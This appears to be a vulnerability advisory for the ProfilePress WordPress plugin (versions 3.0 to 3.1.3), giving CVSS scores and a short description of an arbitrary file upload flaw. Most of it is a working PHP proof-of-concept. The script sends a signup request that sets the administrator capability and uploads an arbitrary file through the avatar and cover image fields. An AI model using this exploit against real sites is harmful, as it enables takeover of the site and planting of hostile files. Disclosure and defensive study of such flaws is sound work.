ProfilePress 3.0 - 3.1.3 - Arbitrary File Upload in Image Uploader Component

2021-06-2800:00:00

Chloe Chamberland

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

JSON

The cover photo and profile photo upload functionalities of the plugin were vulnerable to arbitrary file uploads due to the use of exif_imagetype for filetype checking.

<?php

// Settings
$wp_url = $argv[1];
$file = $argv[2];

// Update Settings
$ch = curl_init();
$cFile = curl_file_create( realpath( $file ) );
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r2',
    'reg_email' => '[email protected]',
    'reg_password' => 'password',
    'reg_password_present' => 'true',
    'reg_first_name' => 'Hax0r2',
    'reg_last_name' => 'hack',
    'wp_capabilities[administrator]' => '1',
    'action' => 'pp_ajax_signup',
    'melange_id' => '',
    'reg_avatar' => $cFile,
    'reg_cover_image' => $cFile,
]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>